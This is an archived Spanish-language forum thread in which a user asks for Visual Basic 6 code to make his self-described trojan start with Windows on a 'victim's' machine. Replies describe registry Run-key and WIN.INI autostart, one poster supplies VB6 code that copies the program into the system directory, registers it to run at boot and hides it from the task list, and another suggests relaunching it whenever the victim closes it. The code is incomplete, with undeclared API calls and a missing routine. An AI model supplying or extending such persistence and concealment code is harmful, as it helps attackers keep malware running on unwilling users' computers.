PDA

Ver la versión completa : necesito un codigo fuente



darkid
20-06-2003, 23:25
"en VB6 con Win XP". necesito un codigo para que mi apicacion inicie con windows mi aplicacion es un troyanillo!!!

|RooT|
21-06-2003, 02:47
Supongo que lo que querras saber es como hacer que tu troyano se arranque al iniciar windows?
Pues eso depende del tipo de infección de arranque que quieras hacer.

O bien creando una clave en el registro para que inicie
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\Curr entVersion\Run o RunOnce (Dependendiendo del sistema si es NT o no)

También se puede hacer al modo "crute" metiendo información al fichero WIN.INI y otras diversas posibilidades.

Si usas la del registro pues usa la WinAPI de windows para acceder al registro de windows.
Si usas la del WIN.INI pues tan solo añadir el nombre del ejecutable en el apartado correcto del WIN.INI.

darkid
23-06-2003, 23:49
mmmm mas o menos pero lo que yo quiero es de que mi victima de que al solo ejecutarlo este activo todo el tiempo! cuando la apage, reinicie, etc. >"visual basic 6"<

Raistlin
24-06-2003, 13:35
Pues haz lo que te dice [ROOT] y pon tu programa como HIDE (se que tiene alguna opcion que lo activa en hide).

darkid
24-06-2003, 23:07
mmm si se dieran mejor a explicar les podria entender mas >>No busco que me digan todo exactamente pero si algo mas claro<<

N4nd0
25-06-2003, 07:59
Pues te dire, si estas haciendo un "troyanillo" como lo llamas...deberias al menos saber como montarlo para que se ejecute al inicio de la maquina...Mnnnn....al menos asi comenzaria a parecer un trollano....
Te pongo parte de un codigo que escribi hace tiempo para VB6, no precisamente para un troyano pero quizas te ayude. No lo he probado con mokozoft xp....

'Manipular el Registro del SO
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
Const ERROR_SUCCESS = 0&

Dim pid As Long
Dim regserv As Long

Sub Form_Load()
On Error Resume Next

StayOnTop Me, True 'Visible sobre todas las ventanas

hKey = HKEY_LOCAL_MACHINE 'Llave de alojamiento del registro de Windows
StrValue = "Nombre del troyano o lo que sea" 'Valor para la llave
StrPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 'Ruta de alojamiento de Ðark¥ader
StrData = frmMain.GetSysDir & "\nombredelejecutable.exe" 'Lo que se va a copiar

SysDir = GetSysDir
'Copiar al troyano en el directorio del sistema
If Right(App.Path, 1) = "\" Then AppPath = Left(App.Path, Len(App.Path) - 1) Else AppPath = App.Path
If UCase$(AppPath) <> UCase$(SysDir) Then
On Error Resume Next
FileCopy GetAppFile, SysDir & "\troyano.exe"
Shell SysDir & "\troyano.exe" 'me ejecuta
End If

Me.Visible = True
Timer1.Enabled = True
Timer1.Interval = 50000 '5 min. aprox.
NumTimerEvents = 0

'Crea la llave en el registro de windows
lRegResult = RegCreateKey(hKey, StrPath, hCurKey)
lRegResult = RegSetValueEx(hCurKey, StrValue, 0, REG_SZ, ByVal StrData, Len(StrData))

SetService True 'me oculta del TaskList !!!

If lRegResult <> ERROR_SUCCESS Then
'Problema creando la llave del registro
End If

lRegResult = RegCloseKey(hCurKey) 'Cierra la llave
Err=0
End Sub

'Me oculta del tasklist para evitar que ¿pueda? ser
'cerrado con crlt+alt+sup
Public Sub SetService(HideProcess As Boolean)
Dim Process_Code As Long, Return_Service As Long

If HideProcess Then
Process_Code = GetCurrentProcessId()
Return_Service = RegisterServiceProcess(pid, Make_System_Process)

ElseIf Not HideProcess Then
Process_Code = GetCurrentProcessId()
Return_Service = RegisterServiceProcess(pid, Make_Normal_Process)

End If
End Sub

Private Function GetAppFile() As String
'Determinar si troyano está en un directorio
'o es independiente. Si esta en un directorio le agrega \
'para obtener la ruta. ejm "c:\Carpeta\troyano.exe"
'ó "c:\troyano.exe"
If Right(App.Path, 1) = "\" Then
GetAppFile = App.Path & App.EXEName & ".exe"
Else
GetAppFile = App.Path & "\" & App.EXEName & ".exe"
End If
End Function

Public Function GetSysDir() As String
'Obtiene el directorio predeterminado de Windows
Dim Temp As String
Temp = Space(2048)
Response% = GetSystemDirectory(Temp, 2048)
Temp = Left(Temp, InStr(1, Temp, Chr$(0)) - 1)
If Right(Temp, 1) = "\" Then Temp = Left(Temp, Len(Temp) - 1)
GetSysDir = Temp

End Function

Sub Timer1_Timer()
Const Max_Intervals = 5 '5 minutes
NumTimerEvents = NumTimerEvents + 1
If NumTimerEvents >= Max_Intervals Then

On Error Resume Next
Visible = True
StayOnTop Me, True
On Error GoTo 0
End If
End Sub

Demas esta decir que tendras que agregarle algo de codigo XTRA dependiendo de lo que quieras hacer (infectar,joder y seguir jodiendo)
pero eso te lo dejo a tu libre albedrio....

Espero que te haya podido ayudar en algo

Saludos...

Marchi
03-01-2005, 06:00
En el codigo las llamadas a la api no estan declaradas, puede ser un poco problematico para el k lo kiera copiar pegar y ejecutar. Ademas no se k es StayOnTop, va, me imagino k hace pero no es una funcion del vb por lo menos eso creo y no lo encontre como llamada a la api de win. De donde lo sacaste.

diarrea
03-01-2005, 12:40
Lo de StyaOnTop será alguna subrutina que no ha añadido al post. Por lo que preguntas no estás familiarizado con windows, así que si quieres hacer un troyano te recomendaría en primer lugar que no lo hicieras xD y en segundo que te intereses por conocer un poco la estructura del windoww.
El API-Guide te será de mucha utilidad si tienes intención de modificar archivos inf o el mismo registro de windows ya que incluye varios ejemplos con apis.

Marchi
04-01-2005, 02:01
Lo k pregunto es solo de donde salio StayOnTop, o sea, cual es su declaracion por k no es una subrutina del vb. Ademas no estoy interezado en hacer un troyano y conosco bastante sobre la estructura interna de windows y el manejo de apis.

Guante
05-01-2005, 06:39
lo de StayOnTop parece ser un procedimiento (casero por asi decirlo) para mantener el formulario siempre visible(allways on top) , por eso el Me (si no me equivoco) y de seguro la declaracion de ese procedimiento la hiso en un modulo, fuera del formulario, para que sea de alcanse publico.Con respecto a la pregunta anterior, colocando esta clave en el registro ( HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\Curr entVersion\Run o RunOnce ), lo que haces, es que el programa se cargue cada vez que inicia windows, podes agregarle tambien (como idea) una rutina sobre el evento "unload", con la funcion shell + ruta del troyano, de esta forma te aseguras que si el programa es descargado manualmente desde el adminisrador de tareas, se vuelva a ejecutar automaticamente, cada vez que se cierre.

Espero te sirva de ayuda

Saludos

Guante

Me olvidaba, supongo que sabras que el archivo .exe (una vez compilado)de por si solo no funciona, depende de unas librerias para que funcione, asi que tendras que entregarle a tu victima un completo programa de instalacion ;) jeje, es medio rudimentario

diarrea
06-01-2005, 17:12
Lo k pregunto es solo de donde salio StayOnTop, o sea, cual es su declaracion por k no es una subrutina del vb. Ademas no estoy interezado en hacer un troyano y conosco bastante sobre la estructura interna de windows y el manejo de apis.
No me refería a ti Marchi, se lo decía a darkid (perdón si el post llevó a confusión).
Saludos.

N4nd0
07-01-2005, 08:24
Pues bueno, pasando por aqui me sorprendio ver que este post aun esta vigente...ni me acordaba de el....lo de StayOnTop Me si mal no recuerdo es una rutina escrita en un modulo, lo que se hace es llamarla desde el evento Load del formulario principal, de tal manera que se pueda mantener el formulario en frente de los demas...algo asi es el asunto...claro esta que para Win2003 y XP no funciona, ya que dicha rutina estaconstruída con llamadas a las apis antiguas.. en la tecnologia NT, (xp,2000,2003...) algunas llaves del registro de windows y apis cambian o varian...al igual que la llamada a "esconder el programa" del Task list... :(
Con respecto a lo de "una instalacion completa" porque el programa depende de librerias externas, pues eso a cambiado, ya que la "libreria" principal que usa el VB6 para ejecutar algun .exe viene incluida por defecto en los actuales sistemas de mocosoft...claro esta, a exepcion de otras, y eso depende de que utilice el fulano troyano...de logica barata tendria que usar el winsock para poder establecer conexiones, y esa ocx ya esta por defecto en mocosof...
en fin...ahi los dejo pa otro dia..saludos